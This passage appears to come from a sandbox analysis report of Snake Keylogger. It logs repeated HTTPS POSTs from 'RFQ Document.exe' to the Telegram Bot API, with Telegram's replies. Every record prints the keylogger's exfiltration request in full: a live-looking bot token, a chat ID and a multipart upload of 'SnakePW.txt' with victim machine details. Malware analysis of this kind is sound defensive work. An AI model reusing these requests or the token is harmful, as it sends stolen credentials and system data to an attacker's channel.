{"ok":true,"result":{"message_id":12791,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808756,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.4	50023	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:16 UTC	323	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e31a64b4 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:16 UTC	323	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 33 31 61 36 34 62 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e31a64b4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:16 UTC	324	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:16 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:16 UTC	324	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12792,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808756,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.4	50024	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:16 UTC	324	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e3323cac Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:16 UTC	325	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 33 33 32 33 63 61 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e3323cacContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:16 UTC	325	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:16 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:16 UTC	326	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 39 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12793,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808756,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.4	50025	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:16 UTC	326	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e3513bb4 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:16 UTC	326	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 33 35 31 33 62 62 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e3513bb4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:16 UTC	327	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:16 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:16 UTC	327	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 39 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12794,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808756,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.4	50026	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:17 UTC	328	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e366b155 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:17 UTC	328	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 33 36 36 62 31 35 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e366b155Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:17 UTC	328	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:17 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:17 UTC	329	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12795,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808757,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.2.4	50027	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:17 UTC	329	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e385affe Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:17 UTC	330	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 33 38 35 61 66 66 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e385affeContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:17 UTC	330	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:17 GMT Content-Type: application/json Content-Length: 109 Connection: close Retry-After: 9 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:17 UTC	330	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 39 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 39 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 9","parameters":{"retry_after":9}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.2.4	50028	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:17 UTC	330	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e39d86f0 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:17 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 33 39 64 38 36 66 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e39d86f0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:17 UTC	331	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:17 GMT Content-Type: application/json Content-Length: 109 Connection: close Retry-After: 9 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:17 UTC	332	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 39 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 39 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 9","parameters":{"retry_after":9}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.4	50029	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:17 UTC	332	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e3b2fc82 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:17 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 33 62 32 66 63 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e3b2fc82Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:17 UTC	332	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:17 GMT Content-Type: application/json Content-Length: 109 Connection: close Retry-After: 9 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:17 UTC	333	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 39 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 39 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 9","parameters":{"retry_after":9}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.2.4	50030	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:17 UTC	333	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e3c3ab75 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:17 UTC	333	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 33 63 33 61 62 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e3c3ab75Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:17 UTC	334	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:17 GMT Content-Type: application/json Content-Length: 109 Connection: close Retry-After: 9 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:17 UTC	334	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 39 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 39 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 9","parameters":{"retry_after":9}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49795	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:24 UTC	33	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c452b1bf Host: api.telegram.org Content-Length: 407
